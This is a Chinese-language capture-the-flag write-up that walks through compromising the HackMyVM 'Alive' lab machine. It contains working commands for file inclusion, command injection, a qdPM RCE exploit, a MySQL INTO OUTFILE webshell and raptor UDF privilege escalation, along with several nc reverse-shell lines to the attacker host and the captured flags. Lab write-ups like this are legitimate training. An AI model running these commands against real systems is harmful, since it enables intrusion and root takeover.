Bootstrap

HackMyVM-Alive靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、主机探索

/opt目录

/vat/www/code的web渗透

4、提权

写入webshell

UDF提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.101.127)

靶  机:debian(192.168.101.155)

注意事项:

①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。

②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、python3(临时web服务)、nc(监听shell)、searchsploit(查找exp)、echo(写入文件)

Burp suite(修改发送数据包)

测试网址:http://192.168.101.155、http://digitcoder.alive.hmv

靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。

地址:https://hackmyvm.eu/machines/machine.php?vm=Alive

二、测试目的

通过文件包含漏洞获取shell,使用mysql进行提权。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

靶机IP:192.168.101.155

物理机IP:192.168.101.241

端口和服务探测

nmap -sT -A -p- -T4 192.168.101.155

可以看到靶机开放22端口(ssh服务)、80端口(web服务)

目录扫描

gobuster dir -u http://192.168.101.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

只有一个主页和tmp目录,是空着的

2、Getshell

主页的url注入框,可以进行包含url,存在文件包含漏洞

www.baidu.com

用file协议查看/etc/passwd文件

file:///etc/passwd

存在一个普通用户alexandra和root用户

尝试包含当前页面的源代码

file:///var/www/html/index.php

可以看到成功获得页面源代码,使用了curl命令获取资源并输出

代码过滤了一些黑名单符号,但没过滤重定向符号>

尝试命令注入,将获取的资源重定向写入反弹shell

使用python3搭建临时web服务

192.168.101.127:8888/reverseShell.php > shell.php

但是没有成功写入

这时候想到给了一个其他目录,尝试写入tmp目录

192.168.101.127:8888/reverseShell.php > tmp/shell.php

可以看到成功请求

成功写入反弹shell

Kali攻击机开启监听,点击shell.php文件即可获取反弹shell

3、主机探索

Web网页只有主页和tmp目录,但在网页目录中发现其他目录

/var/www/code

Index.php可以找到mysql的一个用户名和密码

admin/HeLL0alI4ns

并且这个也是一个网页资源,试试找找这个网页有没有打开

/opt目录

靶机没有netstat命令,使用ps命令查看进程

ps -aux

可以看到启动了8000端口,使用php开启了web服务,根目录是/opt

先在/opt目录查看下源文件

一个zip文件,一个html没什么用

cd /opt
ls
cat index.html

解压zip文件,获取一串数字

cp backup.zip /tmp
cd /tmp
unzip backup.zip
cat digitcode.bak

使用包含靶机8000端口资源,也没什么用

/vat/www/code的web渗透

这个web感兴趣可以玩一下,最后的权限也是www-data,可以直接找提权方法,这算是作者留下的彩蛋。

在apache2的根目录查看网站配置文件有所发现

/etc/apache2/sites-available/000-default.conf

可以看到有所发现,网页目录是/var/www/html,当设置hosts地址:digitcoder.alive.hmv时,网页地址就是/vat/www/code

添加hosts进行访问

192.168.101.155 digitcoder.alive.hmv

可以访问,这个15位数字就是在/opt目录发现digitcode.bak文件内容

494147203525673

输入正确后会进入到qdPM的登录页,但是不知道登录的用户名和密码

尝试在源文件中寻找,发现使用了mysql数据库

/var/www/code/qdpmApp/check.php

找到数据库配置文件:

/var/www/code/qdpmApp/core/config/databases.yml

发现又一个数据库用户名和密码

qdpmUser/HeLL0alI4ns

mysql -u qdpmUser -p
HeLL0alI4ns
use qdpm_db;
show tables;
select * from users;
exit

这里有个问题,我无法获取交互式的MariaDB。输入sql命令后不会执行,在输入exit时,才会执行所有命令并退出。

可以看到登录email:  [email protected]

但是密码解不出来

尝试数据库密码登录登上去了

[email protected]/HeLL0alI4ns

该webapps是qdPM 9.1版本

可以找到该版本的rce漏洞进行利用

searchsploit qdpm 9.1
searchsploit -p php/webapps/50944.py
cp /usr/share/exploitdb/exploits/php/webapps/50944.py 50944.py

因为url需要hosts,也要设置kali的hosts内容

echo '192.168.101.155 digitcoder.alive.hmv' >> /etc/hosts

python3 50944.py -url http://digitcoder.alive.hmv/qdpmApp/ -u [email protected] -p HeLL0alI4ns

成功生成后门文件

不过这个也是www-data权限,就没什么利用价值了

4、提权

写入webshell

mysql -u admin -p -e "show databases;"

查看数据库发现,admin用户可以查看mysql表

找出root用户的密码信息

mysql -u admin -p -e "SELECT host,user,password from mysql.user;"

root/*88B2B2E7392C149CE6B704871A568FD35798F9B8(thecondor)

解密网站(需要翻墙):

https://crackstation.net/

尝试用mysql的root查看文件,只能查看普通文件,root权限的文件看不了

mysql -uroot -p -e "SELECT load_file('/opt/index.html');"
mysql -uroot -p -e "SELECT load_file('/etc/shadow');"

写入文件getshell

mysql -uroot -p
thecondor
select "<?php echo shell_exec($_GET['ccc9wy']);?>" into OUTFILE "/opt/getshell.php";
exit
ls -la

可以看到,写入的文件是root权限的

用该文件进行反弹shell,得到的权限就是root

使用文件包含漏洞,访问内网8000端口上的getshell.php

http://127.0.0.1:8000/getshell.php?ccc9wy=nc%20-c%20%2Fbin%2Fbash%20192.168.101.127%209999

Kali开启监听,成功获取root权限的反弹shell

查看root.txt

SHELL=/bin/bash script -q /dev/null
cd
cat root.txt

819be2c3422a6121dac7e8b1da21ce32

user.txt在alexandra用户的家目录

cd /home/alexandra
cat user.txt

1637c0ee2d19e925bd6394c847a62ed5

UDF提权

查找udf的exp

searchsploit mysql udf

复制一份exp出来使用,并直接编译,编译成so文件

searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
ls

上传so文件到靶机

wget 192.168.101.127:8888/raptor_udf2.so

查找plugin插件位置

mysql -uroot -p -e "show variables like '%plugin%';"

复制so文件到插件位置

cp /tmp/raptor_udf2.so /usr/local/mysql/lib/plugin/raptor_udf2.so

开始利用,导入so文件

mysql -uroot -p
thecondor
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('nc -e /bin/bash 192.168.101.127 6666');

在攻击机进行监听,成功获取root权限的反弹shell

nc -lvvp 6666
id

四、结论

靶场内容很多,可以详细探索一下。利用了主页的文件包含漏洞,qdPM的web系统RCE漏洞。Mysql可以越权写入文件,使用udf提权。

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;